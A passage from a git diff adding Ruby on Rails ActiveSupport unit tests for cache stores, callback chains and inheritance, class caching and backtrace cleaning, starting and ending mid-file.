+ assert_equal false, @cache.write(1, "aaaaaaaaaa", :unless_exist => true)
+ end
+end
+
+class MemCacheStoreTest < ActiveSupport::TestCase
+ require 'dalli'
+
+ begin
+ ss = Dalli::Client.new('localhost:11211').stats
+ raise Dalli::DalliError unless ss['localhost:11211']
+
+ MEMCACHE_UP = true
+ rescue Dalli::DalliError
+ $stderr.puts "Skipping memcached tests. Start memcached and try again."
+ MEMCACHE_UP = false
+ end
+
+ def setup
+ skip "memcache server is not up" unless MEMCACHE_UP
+
+ @cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, :expires_in => 60)
+ @peek = ActiveSupport::Cache.lookup_store(:mem_cache_store)
+ @data = @cache.instance_variable_get(:@data)
+ @cache.clear
+ @cache.silence!
+ @cache.logger = ActiveSupport::Logger.new("/dev/null")
+ end
+
+ include CacheStoreBehavior
+ include LocalCacheBehavior
+ include CacheIncrementDecrementBehavior
+ include EncodedKeyCacheBehavior
+ include AutoloadingCacheBehavior
+
+ def test_raw_values
+ cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, :raw => true)
+ cache.clear
+ cache.write("foo", 2)
+ assert_equal "2", cache.read("foo")
+ end
+
+ def test_raw_values_with_marshal
+ cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, :raw => true)
+ cache.clear
+ cache.write("foo", Marshal.dump([]))
+ assert_equal [], cache.read("foo")
+ end
+
+ def test_local_cache_raw_values
+ cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, :raw => true)
+ cache.clear
+ cache.with_local_cache do
+ cache.write("foo", 2)
+ assert_equal "2", cache.read("foo")
+ end
+ end
+
+ def test_local_cache_raw_values_with_marshal
+ cache = ActiveSupport::Cache.lookup_store(:mem_cache_store, :raw => true)
+ cache.clear
+ cache.with_local_cache do
+ cache.write("foo", Marshal.dump([]))
+ assert_equal [], cache.read("foo")
+ end
+ end
+
+ def test_read_should_return_a_different_object_id_each_time_it_is_called
+ @cache.write('foo', 'bar')
+ assert_not_equal @cache.read('foo').object_id, @cache.read('foo').object_id
+ value = @cache.read('foo')
+ value << 'bingo'
+ assert_not_equal value, @cache.read('foo')
+ end
+end
+
+class NullStoreTest < ActiveSupport::TestCase
+ def setup
+ @cache = ActiveSupport::Cache.lookup_store(:null_store)
+ end
+
+ def test_clear
+ @cache.clear
+ end
+
+ def test_cleanup
+ @cache.cleanup
+ end
+
+ def test_write
+ assert_equal true, @cache.write("name", "value")
+ end
+
+ def test_read
+ @cache.write("name", "value")
+ assert_nil @cache.read("name")
+ end
+
+ def test_delete
+ @cache.write("name", "value")
+ assert_equal false, @cache.delete("name")
+ end
+
+ def test_increment
+ @cache.write("name", 1, :raw => true)
+ assert_nil @cache.increment("name")
+ end
+
+ def test_decrement
+ @cache.write("name", 1, :raw => true)
+ assert_nil @cache.increment("name")
+ end
+
+ def test_delete_matched
+ @cache.write("name", "value")
+ @cache.delete_matched(/name/)
+ end
+
+ def test_local_store_strategy
+ @cache.with_local_cache do
+ @cache.write("name", "value")
+ assert_equal "value", @cache.read("name")
+ @cache.delete("name")
+ assert_nil @cache.read("name")
+ @cache.write("name", "value")
+ end
+ assert_nil @cache.read("name")
+ end
+
+ def test_setting_nil_cache_store
+ assert ActiveSupport::Cache.lookup_store.class.name, ActiveSupport::Cache::NullStore.name
+ end
+end
+
+class CacheStoreLoggerTest < ActiveSupport::TestCase
+ def setup
+ @cache = ActiveSupport::Cache.lookup_store(:memory_store)
+
+ @buffer = StringIO.new
+ @cache.logger = ActiveSupport::Logger.new(@buffer)
+ end
+
+ def test_logging
+ @cache.fetch('foo') { 'bar' }
+ assert @buffer.string.present?
+ end
+
+ def test_mute_logging
+ @cache.mute { @cache.fetch('foo') { 'bar' } }
+ assert @buffer.string.blank?
+ end
+end
+
+class CacheEntryTest < ActiveSupport::TestCase
+ def test_expired
+ entry = ActiveSupport::Cache::Entry.new("value")
+ assert !entry.expired?, 'entry not expired'
+ entry = ActiveSupport::Cache::Entry.new("value", :expires_in => 60)
+ assert !entry.expired?, 'entry not expired'
+ time = Time.now + 61
+ Time.stubs(:now).returns(time)
+ assert entry.expired?, 'entry is expired'
+ end
+
+ def test_compress_values
+ value = "value" * 100
+ entry = ActiveSupport::Cache::Entry.new(value, :compress => true, :compress_threshold => 1)
+ assert_equal value, entry.value
+ assert(value.bytesize > entry.size, "value is compressed")
+ end
+
+ def test_non_compress_values
+ value = "value" * 100
+ entry = ActiveSupport::Cache::Entry.new(value)
+ assert_equal value, entry.value
+ assert_equal value.bytesize, entry.size
+ end
+
+ def test_restoring_version_4beta1_entries
+ version_4beta1_entry = ActiveSupport::Cache::Entry.allocate
+ version_4beta1_entry.instance_variable_set(:@v, "hello")
+ version_4beta1_entry.instance_variable_set(:@x, Time.now.to_i + 60)
+ entry = Marshal.load(Marshal.dump(version_4beta1_entry))
+ assert_equal "hello", entry.value
+ assert_equal false, entry.expired?
+ end
+
+ def test_restoring_compressed_version_4beta1_entries
+ version_4beta1_entry = ActiveSupport::Cache::Entry.allocate
+ version_4beta1_entry.instance_variable_set(:@v, Zlib::Deflate.deflate(Marshal.dump("hello")))
+ version_4beta1_entry.instance_variable_set(:@c, true)
+ entry = Marshal.load(Marshal.dump(version_4beta1_entry))
+ assert_equal "hello", entry.value
+ end
+
+ def test_restoring_expired_version_4beta1_entries
+ version_4beta1_entry = ActiveSupport::Cache::Entry.allocate
+ version_4beta1_entry.instance_variable_set(:@v, "hello")
+ version_4beta1_entry.instance_variable_set(:@x, Time.now.to_i - 1)
+ entry = Marshal.load(Marshal.dump(version_4beta1_entry))
+ assert_equal "hello", entry.value
+ assert_equal true, entry.expired?
+ end
+end
diff --git a/activesupport/test/callback_inheritance_test.rb b/activesupport/test/callback_inheritance_test.rb
new file mode 100644
index 0000000..1adfe4e
--- /dev/null
+++ b/activesupport/test/callback_inheritance_test.rb
@@ -0,0 +1,176 @@
+require 'abstract_unit'
+
+class GrandParent
+ include ActiveSupport::Callbacks
+
+ attr_reader :log, :action_name
+ def initialize(action_name)
+ @action_name, @log = action_name, []
+ end
+
+ define_callbacks :dispatch
+ set_callback :dispatch, :before, :before1, :before2, :if => proc {|c| c.action_name == "index" || c.action_name == "update" }
+ set_callback :dispatch, :after, :after1, :after2, :if => proc {|c| c.action_name == "update" || c.action_name == "delete" }
+
+ def before1
+ @log << "before1"
+ end
+
+ def before2
+ @log << "before2"
+ end
+
+ def after1
+ @log << "after1"
+ end
+
+ def after2
+ @log << "after2"
+ end
+
+ def dispatch
+ run_callbacks :dispatch do
+ @log << action_name
+ end
+ self
+ end
+end
+
+class Parent < GrandParent
+ skip_callback :dispatch, :before, :before2, :unless => proc {|c| c.action_name == "update" }
+ skip_callback :dispatch, :after, :after2, :unless => proc {|c| c.action_name == "delete" }
+end
+
+class Child < GrandParent
+ skip_callback :dispatch, :before, :before2, :unless => proc {|c| c.action_name == "update" }, :if => :state_open?
+
+ def state_open?
+ @state == :open
+ end
+
+ def initialize(action_name, state)
+ super(action_name)
+ @state = state
+ end
+end
+
+class EmptyParent
+ include ActiveSupport::Callbacks
+
+ def performed?
+ @performed ||= false
+ end
+
+ define_callbacks :dispatch
+
+ def perform!
+ @performed = true
+ end
+
+ def dispatch
+ run_callbacks :dispatch
+ self
+ end
+end
+
+class EmptyChild < EmptyParent
+ set_callback :dispatch, :before, :do_nothing
+
+ def do_nothing
+ end
+end
+
+class CountingParent
+ include ActiveSupport::Callbacks
+
+ attr_reader :count
+
+ define_callbacks :dispatch
+
+ def initialize
+ @count = 0
+ end
+
+ def count!
+ @count += 1
+ end
+
+ def dispatch
+ run_callbacks(:dispatch)
+ self
+ end
+end
+
+class CountingChild < CountingParent
+end
+
+class BasicCallbacksTest < ActiveSupport::TestCase
+ def setup
+ @index = GrandParent.new("index").dispatch
+ @update = GrandParent.new("update").dispatch
+ @delete = GrandParent.new("delete").dispatch
+ end
+
+ def test_basic_conditional_callback1
+ assert_equal %w(before1 before2 index), @index.log
+ end
+
+ def test_basic_conditional_callback2
+ assert_equal %w(before1 before2 update after2 after1), @update.log
+ end
+
+ def test_basic_conditional_callback3
+ assert_equal %w(delete after2 after1), @delete.log
+ end
+end
+
+class InheritedCallbacksTest < ActiveSupport::TestCase
+ def setup
+ @index = Parent.new("index").dispatch
+ @update = Parent.new("update").dispatch
+ @delete = Parent.new("delete").dispatch
+ end
+
+ def test_inherited_excluded
+ assert_equal %w(before1 index), @index.log
+ end
+
+ def test_inherited_not_excluded
+ assert_equal %w(before1 before2 update after1), @update.log
+ end
+
+ def test_partially_excluded
+ assert_equal %w(delete after2 after1), @delete.log
+ end
+end
+
+class InheritedCallbacksTest2 < ActiveSupport::TestCase
+ def setup
+ @update1 = Child.new("update", :open).dispatch
+ @update2 = Child.new("update", :closed).dispatch
+ end
+
+ def test_crazy_mix_on
+ assert_equal %w(before1 update after2 after1), @update1.log
+ end
+
+ def test_crazy_mix_off
+ assert_equal %w(before1 before2 update after2 after1), @update2.log
+ end
+end
+
+class DynamicInheritedCallbacks < ActiveSupport::TestCase
+ def test_callbacks_looks_to_the_superclass_before_running
+ child = EmptyChild.new.dispatch
+ assert !child.performed?
+ EmptyParent.set_callback :dispatch, :before, :perform!
+ child = EmptyChild.new.dispatch
+ assert child.performed?
+ end
+
+ def test_callbacks_should_be_performed_once_in_child_class
+ CountingParent.set_callback(:dispatch, :before) { count! }
+ child = CountingChild.new.dispatch
+ assert_equal 1, child.count
+ end
+end
diff --git a/activesupport/test/callbacks_test.rb b/activesupport/test/callbacks_test.rb
new file mode 100644
index 0000000..5afc209
--- /dev/null
+++ b/activesupport/test/callbacks_test.rb
@@ -0,0 +1,782 @@
+require 'abstract_unit'
+
+module CallbacksTest
+ class Phone
+ include ActiveSupport::Callbacks
+ define_callbacks :save
+
+ set_callback :save, :before, :before_save1
+ set_callback :save, :after, :after_save1
+
+ def before_save1; self.history << :before; end
+ def after_save1; self.history << :after; end
+
+ def save
+ run_callbacks :save do
+ raise 'boom'
+ end
+ end
+
+ def history
+ @history ||= []
+ end
+ end
+
+ class Record
+ include ActiveSupport::Callbacks
+
+ define_callbacks :save
+
+ def self.before_save(*filters, &blk)
+ set_callback(:save, :before, *filters, &blk)
+ end
+
+ def self.after_save(*filters, &blk)
+ set_callback(:save, :after, *filters, &blk)
+ end
+
+ class << self
+ def callback_symbol(callback_method)
+ method_name = :"#{callback_method}_method"
+ define_method(method_name) do
+ history << [callback_method, :symbol]
+ end
+ method_name
+ end
+
+ def callback_string(callback_method)
+ "history << [#{callback_method.to_sym.inspect}, :string]"
+ end
+
+ def callback_proc(callback_method)
+ Proc.new { |model| model.history << [callback_method, :proc] }
+ end
+
+ def callback_object(callback_method)
+ klass = Class.new
+ klass.send(:define_method, callback_method) do |model|
+ model.history << [:"#{callback_method}_save", :object]
+ end
+ klass.new
+ end
+ end
+
+ def history
+ @history ||= []
+ end
+ end
+
+ class CallbackClass
+ def self.before(model)
+ model.history << [:before_save, :class]
+ end
+
+ def self.after(model)
+ model.history << [:after_save, :class]
+ end
+ end
+
+ class Person < Record
+ [:before_save, :after_save].each do |callback_method|
+ callback_method_sym = callback_method.to_sym
+ send(callback_method, callback_symbol(callback_method_sym))
+ send(callback_method, callback_string(callback_method_sym))
+ send(callback_method, callback_proc(callback_method_sym))
+ send(callback_method, callback_object(callback_method_sym.to_s.gsub(/_save/, '')))
+ send(callback_method, CallbackClass)
+ send(callback_method) { |model| model.history << [callback_method_sym, :block] }
+ end
+
+ def save
+ run_callbacks :save
+ end
+ end
+
+ class PersonSkipper < Person
+ skip_callback :save, :before, :before_save_method, :if => :yes
+ skip_callback :save, :after, :before_save_method, :unless => :yes
+ skip_callback :save, :after, :before_save_method, :if => :no
+ skip_callback :save, :before, :before_save_method, :unless => :no
+ skip_callback :save, :before, CallbackClass , :if => :yes
+ def yes; true; end
+ def no; false; end
+ end
+
+ class ParentController
+ include ActiveSupport::Callbacks
+
+ define_callbacks :dispatch
+
+ set_callback :dispatch, :before, :log, :unless => proc {|c| c.action_name == :index || c.action_name == :show }
+ set_callback :dispatch, :after, :log2
+
+ attr_reader :action_name, :logger
+ def initialize(action_name)
+ @action_name, @logger = action_name, []
+ end
+
+ def log
+ @logger << action_name
+ end
+
+ def log2
+ @logger << action_name
+ end
+
+ def dispatch
+ run_callbacks :dispatch do
+ @logger << "Done"
+ end
+ self
+ end
+ end
+
+ class Child < ParentController
+ skip_callback :dispatch, :before, :log, :if => proc {|c| c.action_name == :update}
+ skip_callback :dispatch, :after, :log2
+ end
+
+ class OneTimeCompile < Record
+ @@starts_true, @@starts_false = true, false
+
+ def initialize
+ super
+ end
+
+ before_save Proc.new {|r| r.history << [:before_save, :starts_true, :if] }, :if => :starts_true
+ before_save Proc.new {|r| r.history << [:before_save, :starts_false, :if] }, :if => :starts_false
+ before_save Proc.new {|r| r.history << [:before_save, :starts_true, :unless] }, :unless => :starts_true
+ before_save Proc.new {|r| r.history << [:before_save, :starts_false, :unless] }, :unless => :starts_false
+
+ def starts_true
+ if @@starts_true
+ @@starts_true = false
+ return true
+ end
+ @@starts_true
+ end
+
+ def starts_false
+ unless @@starts_false
+ @@starts_false = true
+ return false
+ end
+ @@starts_false
+ end
+
+ def save
+ run_callbacks :save
+ end
+ end
+
+ class OneTimeCompileTest < ActiveSupport::TestCase
+ def test_optimized_first_compile
+ around = OneTimeCompile.new
+ around.save
+ assert_equal [
+ [:before_save, :starts_true, :if],
+ [:before_save, :starts_true, :unless]
+ ], around.history
+ end
+ end
+
+ class AfterSaveConditionalPerson < Record
+ after_save Proc.new { |r| r.history << [:after_save, :string1] }
+ after_save Proc.new { |r| r.history << [:after_save, :string2] }
+ def save
+ run_callbacks :save
+ end
+ end
+
+ class AfterSaveConditionalPersonCallbackTest < ActiveSupport::TestCase
+ def test_after_save_runs_in_the_reverse_order
+ person = AfterSaveConditionalPerson.new
+ person.save
+ assert_equal [
+ [:after_save, :string2],
+ [:after_save, :string1]
+ ], person.history
+ end
+ end
+
+
+
+ class ConditionalPerson < Record
+ # proc
+ before_save Proc.new { |r| r.history << [:before_save, :proc] }, :if => Proc.new { |r| true }
+ before_save Proc.new { |r| r.history << "b00m" }, :if => Proc.new { |r| false }
+ before_save Proc.new { |r| r.history << [:before_save, :proc] }, :unless => Proc.new { |r| false }
+ before_save Proc.new { |r| r.history << "b00m" }, :unless => Proc.new { |r| true }
+ # symbol
+ before_save Proc.new { |r| r.history << [:before_save, :symbol] }, :if => :yes
+ before_save Proc.new { |r| r.history << "b00m" }, :if => :no
+ before_save Proc.new { |r| r.history << [:before_save, :symbol] }, :unless => :no
+ before_save Proc.new { |r| r.history << "b00m" }, :unless => :yes
+ # string
+ before_save Proc.new { |r| r.history << [:before_save, :string] }, :if => 'yes'
+ before_save Proc.new { |r| r.history << "b00m" }, :if => 'no'
+ before_save Proc.new { |r| r.history << [:before_save, :string] }, :unless => 'no'
+ before_save Proc.new { |r| r.history << "b00m" }, :unless => 'yes'
+ # Combined if and unless
+ before_save Proc.new { |r| r.history << [:before_save, :combined_symbol] }, :if => :yes, :unless => :no
+ before_save Proc.new { |r| r.history << "b00m" }, :if => :yes, :unless => :yes
+
+ def yes; true; end
+ def other_yes; true; end
+ def no; false; end
+ def other_no; false; end
+
+ def save
+ run_callbacks :save
+ end
+ end
+
+ class CleanPerson < ConditionalPerson
+ reset_callbacks :save
+ end
+
+ class MySuper
+ include ActiveSupport::Callbacks
+ define_callbacks :save
+ end
+
+ class AroundPerson < MySuper
+ attr_reader :history
+
+ set_callback :save, :before, :nope, :if => :no
+ set_callback :save, :before, :nope, :unless => :yes
+ set_callback :save, :after, :tweedle
+ set_callback :save, :before, "tweedle_dee"
+ set_callback :save, :before, proc {|m| m.history << "yup" }
+ set_callback :save, :before, :nope, :if => proc { false }
+ set_callback :save, :before, :nope, :unless => proc { true }
+ set_callback :save, :before, :yup, :if => proc { true }
+ set_callback :save, :before, :yup, :unless => proc { false }
+ set_callback :save, :around, :tweedle_dum
+ set_callback :save, :around, :w0tyes, :if => :yes
+ set_callback :save, :around, :w0tno, :if => :no
+ set_callback :save, :around, :tweedle_deedle
+
+ def no; false; end
+ def yes; true; end
+
+ def nope
+ @history << "boom"
+ end
+
+ def yup
+ @history << "yup"
+ end
+
+ def w0tyes
+ @history << "w0tyes before"
+ yield
+ @history << "w0tyes after"
+ end
+
+ def w0tno
+ @history << "boom"
+ yield
+ end
+
+ def tweedle_dee
+ @history << "tweedle dee"
+ end
+
+ def tweedle_dum
+ @history << "tweedle dum pre"
+ yield
+ @history << "tweedle dum post"
+ end
+
+ def tweedle
+ @history << "tweedle"
+ end
+
+ def tweedle_deedle
+ @history << "tweedle deedle pre"
+ yield
+ @history << "tweedle deedle post"
+ end
+
+ def initialize
+ @history = []
+ end
+
+ def save
+ run_callbacks :save do
+ @history << "running"
+ end
+ end
+ end
+
+ class AroundPersonResult < MySuper
+ attr_reader :result
+
+ set_callback :save, :after, :tweedle_1
+ set_callback :save, :around, :tweedle_dum
+ set_callback :save, :after, :tweedle_2
+
+ def tweedle_dum
+ @result = yield
+ end
+
+ def tweedle_1
+ :tweedle_1
+ end
+
+ def tweedle_2
+ :tweedle_2
+ end
+
+ def save
+ run_callbacks :save do
+ :running
+ end
+ end
+ end
+
+ class HyphenatedCallbacks
+ include ActiveSupport::Callbacks
+ define_callbacks :save
+ attr_reader :stuff
+
+ set_callback :save, :before, :action, :if => :yes
+
+ def yes() true end
+
+ def action
+ @stuff = "ACTION"
+ end
+
+ def save
+ run_callbacks :save do
+ @stuff
+ end
+ end
+ end
+
+ module ExtendModule
+ def self.extended(base)
+ base.class_eval do
+ set_callback :save, :before, :record3
+ end
+ end
+ def record3
+ @recorder << 3
+ end
+ end
+
+ module IncludeModule
+ def self.included(base)
+ base.class_eval do
+ set_callback :save, :before, :record2
+ end
+ end
+ def record2
+ @recorder << 2
+ end
+ end
+
+ class ExtendCallbacks
+
+ include ActiveSupport::Callbacks
+
+ define_callbacks :save
+ set_callback :save, :before, :record1
+
+ include IncludeModule
+
+ def save
+ run_callbacks :save
+ end
+
+ attr_reader :recorder
+
+ def initialize
+ @recorder = []
+ end
+
+ private
+
+ def record1
+ @recorder << 1
+ end
+ end
+
+ class AroundCallbacksTest < ActiveSupport::TestCase
+ def test_save_around
+ around = AroundPerson.new
+ around.save
+ assert_equal [
+ "tweedle dee",
+ "yup", "yup",
+ "tweedle dum pre",
+ "w0tyes before",
+ "tweedle deedle pre",
+ "running",
+ "tweedle deedle post",
+ "w0tyes after",
+ "tweedle dum post",
+ "tweedle"
+ ], around.history
+ end
+ end
+
+ class AroundCallbackResultTest < ActiveSupport::TestCase
+ def test_save_around
+ around = AroundPersonResult.new
+ around.save
+ assert_equal :running, around.result
+ end
+ end
+
+ class SkipCallbacksTest < ActiveSupport::TestCase
+ def test_skip_person
+ person = PersonSkipper.new
+ assert_equal [], person.history
+ person.save
+ assert_equal [
+ [:before_save, :string],
+ [:before_save, :proc],
+ [:before_save, :object],
+ [:before_save, :block],
+ [:after_save, :block],
+ [:after_save, :class],
+ [:after_save, :object],
+ [:after_save, :proc],
+ [:after_save, :string],
+ [:after_save, :symbol]
+ ], person.history
+ end
+ end
+
+ class CallbacksTest < ActiveSupport::TestCase
+
+ def test_save_person
+ person = Person.new
+ assert_equal [], person.history
+ person.save
+ assert_equal [
+ [:before_save, :symbol],
+ [:before_save, :string],
+ [:before_save, :proc],
+ [:before_save, :object],
+ [:before_save, :class],
+ [:before_save, :block],
+ [:after_save, :block],
+ [:after_save, :class],
+ [:after_save, :object],
+ [:after_save, :proc],
+ [:after_save, :string],
+ [:after_save, :symbol]
+ ], person.history
+ end
+ end
+
+ class ConditionalCallbackTest < ActiveSupport::TestCase
+ def test_save_conditional_person
+ person = ConditionalPerson.new
+ person.save
+ assert_equal [
+ [:before_save, :proc],
+ [:before_save, :proc],
+ [:before_save, :symbol],
+ [:before_save, :symbol],
+ [:before_save, :string],
+ [:before_save, :string],
+ [:before_save, :combined_symbol],
+ ], person.history
+ end
+ end
+
+
+
+ class ResetCallbackTest < ActiveSupport::TestCase
+ def test_save_conditional_person
+ person = CleanPerson.new
+ person.save
+ assert_equal [], person.history
+ end
+ end
+
+ class CallbackTerminator
+ include ActiveSupport::Callbacks
+
+ define_callbacks :save, :terminator => "result == :halt"
+
+ set_callback :save, :before, :first
+ set_callback :save, :before, :second
+ set_callback :save, :around, :around_it
+ set_callback :save, :before, :third
+ set_callback :save, :after, :first
+ set_callback :save, :around, :around_it
+ set_callback :save, :after, :second
+ set_callback :save, :around, :around_it
+ set_callback :save, :after, :third
+
+
+ attr_reader :history, :saved, :halted
+ def initialize
+ @history = []
+ end
+
+ def around_it
+ @history << "around1"
+ yield
+ @history << "around2"
+ end
+
+ def first
+ @history << "first"
+ end
+
+ def second
+ @history << "second"
+ :halt
+ end
+
+ def third
+ @history << "third"
+ end
+
+ def save
+ run_callbacks :save do
+ @saved = true
+ end
+ end
+
+ def halted_callback_hook(filter)
+ @halted = filter
+ end
+ end
+
+ class CallbackObject
+ def before(caller)
+ caller.record << "before"
+ end
+
+ def before_save(caller)
+ caller.record << "before save"
+ end
+
+ def around(caller)
+ caller.record << "around before"
+ yield
+ caller.record << "around after"
+ end
+ end
+
+ class UsingObjectBefore
+ include ActiveSupport::Callbacks
+
+ define_callbacks :save
+ set_callback :save, :before, CallbackObject.new
+
+ attr_accessor :record
+ def initialize
+ @record = []
+ end
+
+ def save
+ run_callbacks :save do
+ @record << "yielded"
+ end
+ end
+ end
+
+ class UsingObjectAround
+ include ActiveSupport::Callbacks
+
+ define_callbacks :save
+ set_callback :save, :around, CallbackObject.new
+
+ attr_accessor :record
+ def initialize
+ @record = []
+ end
+
+ def save
+ run_callbacks :save do
+ @record << "yielded"
+ end
+ end
+ end
+
+ class CustomScopeObject
+ include ActiveSupport::Callbacks
+
+ define_callbacks :save, :scope => [:kind, :name]
+ set_callback :save, :before, CallbackObject.new
+
+ attr_accessor :record
+ def initialize
+ @record = []
+ end
+
+ def save
+ run_callbacks :save do
+ @record << "yielded"
+ "CallbackResult"
+ end
+ end
+ end
+
+ class OneTwoThreeSave
+ include ActiveSupport::Callbacks
+
+ define_callbacks :save
+
+ attr_accessor :record
+
+ def initialize
+ @record = []
+ end
+
+ def save
+ run_callbacks :save do
+ @record << "yielded"
+ end
+ end
+
+ def first
+ @record << "one"
+ end
+
+ def second
+ @record << "two"
+ end
+
+ def third
+ @record << "three"
+ end
+ end
+
+ class DuplicatingCallbacks < OneTwoThreeSave
+ set_callback :save, :before, :first, :second
+ set_callback :save, :before, :first, :third
+ end
+
+ class DuplicatingCallbacksInSameCall < OneTwoThreeSave
+ set_callback :save, :before, :first, :second, :first, :third
+ end
+
+ class UsingObjectTest < ActiveSupport::TestCase
+ def test_before_object
+ u = UsingObjectBefore.new
+ u.save
+ assert_equal ["before", "yielded"], u.record
+ end
+
+ def test_around_object
+ u = UsingObjectAround.new
+ u.save
+ assert_equal ["around before", "yielded", "around after"], u.record
+ end
+
+ def test_customized_object
+ u = CustomScopeObject.new
+ u.save
+ assert_equal ["before save", "yielded"], u.record
+ end
+
+ def test_block_result_is_returned
+ u = CustomScopeObject.new
+ assert_equal "CallbackResult", u.save
+ end
+ end
+
+ class CallbackTerminatorTest < ActiveSupport::TestCase
+ def test_termination
+ terminator = CallbackTerminator.new
+ terminator.save
+ assert_equal ["first", "second", "third", "second", "first"], terminator.history
+ end
+
+ def test_termination_invokes_hook
+ terminator = CallbackTerminator.new
+ terminator.save
+ assert_equal ":second", terminator.halted
+ end
+
+ def test_block_never_called_if_terminated
+ obj = CallbackTerminator.new
+ obj.save
+ assert !obj.saved
+ end
+ end
+
+ class HyphenatedKeyTest < ActiveSupport::TestCase
+ def test_save
+ obj = HyphenatedCallbacks.new
+ obj.save
+ assert_equal "ACTION", obj.stuff
+ end
+ end
+
+ class WriterSkipper < Person
+ attr_accessor :age
+ skip_callback :save, :before, :before_save_method, :if => lambda {self.age > 21}
+ end
+
+ class WriterCallbacksTest < ActiveSupport::TestCase
+ def test_skip_writer
+ writer = WriterSkipper.new
+ writer.age = 18
+ assert_equal [], writer.history
+ writer.save
+ assert_equal [
+ [:before_save, :symbol],
+ [:before_save, :string],
+ [:before_save, :proc],
+ [:before_save, :object],
+ [:before_save, :class],
+ [:before_save, :block],
+ [:after_save, :block],
+ [:after_save, :class],
+ [:after_save, :object],
+ [:after_save, :proc],
+ [:after_save, :string],
+ [:after_save, :symbol]
+ ], writer.history
+ end
+ end
+
+ class ExtendCallbacksTest < ActiveSupport::TestCase
+ def test_save
+ model = ExtendCallbacks.new.extend ExtendModule
+ model.save
+ assert_equal [1, 2, 3], model.recorder
+ end
+ end
+
+ class PerKeyOptionDeprecationTest < ActiveSupport::TestCase
+
+ def test_per_key_option_deprecaton
+ assert_raise NotImplementedError do
+ Phone.class_eval do
+ set_callback :save, :before, :before_save1, :per_key => {:if => "true"}
+ end
+ end
+ assert_raise NotImplementedError do
+ Phone.class_eval do
+ skip_callback :save, :before, :before_save1, :per_key => {:if => "true"}
+ end
+ end
+ end
+ end
+
+ class ExcludingDuplicatesCallbackTest < ActiveSupport::TestCase
+ def test_excludes_duplicates_in_separate_calls
+ model = DuplicatingCallbacks.new
+ model.save
+ assert_equal ["two", "one", "three", "yielded"], model.record
+ end
+
+ def test_excludes_duplicates_in_one_call
+ model = DuplicatingCallbacksInSameCall.new
+ model.save
+ assert_equal ["two", "one", "three", "yielded"], model.record
+ end
+ end
+end
diff --git a/activesupport/test/class_cache_test.rb b/activesupport/test/class_cache_test.rb
new file mode 100644
index 0000000..b96f476
--- /dev/null
+++ b/activesupport/test/class_cache_test.rb
@@ -0,0 +1,78 @@
+require 'abstract_unit'
+require 'active_support/dependencies'
+
+module ActiveSupport
+ module Dependencies
+ class ClassCacheTest < ActiveSupport::TestCase
+ def setup
+ @cache = ClassCache.new
+ end
+
+ def test_empty?
+ assert @cache.empty?
+ @cache.store(ClassCacheTest)
+ assert !@cache.empty?
+ end
+
+ def test_clear!
+ assert @cache.empty?
+ @cache.store(ClassCacheTest)
+ assert !@cache.empty?
+ @cache.clear!
+ assert @cache.empty?
+ end
+
+ def test_set_key
+ @cache.store(ClassCacheTest)
+ assert @cache.key?(ClassCacheTest.name)
+ end
+
+ def test_get_with_class
+ @cache.store(ClassCacheTest)
+ assert_equal ClassCacheTest, @cache.get(ClassCacheTest)
+ end
+
+ def test_get_with_name
+ @cache.store(ClassCacheTest)
+ assert_equal ClassCacheTest, @cache.get(ClassCacheTest.name)
+ end
+
+ def test_get_constantizes
+ assert @cache.empty?
+ assert_equal ClassCacheTest, @cache.get(ClassCacheTest.name)
+ end
+
+ def test_get_constantizes_fails_on_invalid_names
+ assert @cache.empty?
+ assert_raise NameError do
+ @cache.get("OmgTotallyInvalidConstantName")
+ end
+ end
+
+ def test_get_alias
+ assert @cache.empty?
+ assert_equal @cache[ClassCacheTest.name], @cache.get(ClassCacheTest.name)
+ end
+
+ def test_safe_get_constantizes
+ assert @cache.empty?
+ assert_equal ClassCacheTest, @cache.safe_get(ClassCacheTest.name)
+ end
+
+ def test_safe_get_constantizes_doesnt_fail_on_invalid_names
+ assert @cache.empty?
+ assert_equal nil, @cache.safe_get("OmgTotallyInvalidConstantName")
+ end
+
+ def test_new_rejects_strings
+ @cache.store ClassCacheTest.name
+ assert !@cache.key?(ClassCacheTest.name)
+ end
+
+ def test_store_returns_self
+ x = @cache.store ClassCacheTest
+ assert_equal @cache, x
+ end
+ end
+ end
+end
diff --git a/activesupport/test/clean_backtrace_test.rb b/activesupport/test/clean_backtrace_test.rb
new file mode 100644
index 0000000..b14950a
--- /dev/null
+++ b/activesupport/test/clean_backtrace_test.rb
@@ -0,0 +1,49 @@
+require 'abstract_unit'
+
+class BacktraceCleanerFilterTest < ActiveSupport::TestCase
+ def setup
+ @bc = ActiveSupport::BacktraceCleaner.new
+ @bc.add_filter { |line| line.gsub("/my/prefix", '') }
+ end
+
+ test "backtrace should filter all lines in a backtrace, removing prefixes" do
+ assert_equal \
+ ["/my/class.rb", "/my/module.rb"],
+ @bc.clean(["/my/prefix/my/class.rb", "/my/prefix/my/module.rb"])
+ end
+
+ test "backtrace cleaner should allow removing filters" do
+ @bc.remove_filters!
+ assert_equal "/my/prefix/my/class.rb", @bc.clean(["/my/prefix/my/class.rb"]).first
+ end
+
+ test "backtrace should contain unaltered lines if they dont match a filter" do
+ assert_equal "/my/other_prefix/my/class.rb", @bc.clean([ "/my/other_prefix/my/class.rb" ]).first
+ end
+
+end
+
+class BacktraceCleanerSilencerTest < ActiveSupport::TestCase
+ def setup
+ @bc = ActiveSupport::BacktraceCleaner.new
+ @bc.add_silencer { |line| line =~ /mongrel/ }
+ end
+
+ test "backtrace should not contain lines that match the silencer" do
+ assert_equal \
+ [ "/other/class.rb" ],
+ @bc.clean([ "/mongrel/class.rb", "/other/class.rb", "/mongrel/stuff.rb" ])
+ end
+end
+
+class BacktraceCleanerFilterAndSilencerTest < ActiveSupport::TestCase
+ def setup
+ @bc = ActiveSupport::BacktraceCleaner.new
+ @bc.add_filter { |line| line.gsub("/mongrel", "") }
+ @bc.add_silencer { |line| line =~ /mongrel/ }
+ end
+
+ test "backtrace should not silence lines that has first had their silence hook filtered out" do
+ assert_equal [ "/class.rb" ], @bc.clean([ "/mongrel/class.rb" ])
+ end
+end
diff --git a/activesupport/test/clean_logger_test.rb b/activesupport/test/clean_logger_test.rb
new file mode 100644
index 0000000..02693a9
--- /dev/null
+++ b/activesupport/test/clean_logger_test.rb
@@ -0,0 +1,29 @@
+require 'abstract_unit'
+require 'stringio'
+require 'active_support/logger'
+
+class CleanLoggerTest < ActiveSupport::TestCase
+ def setup
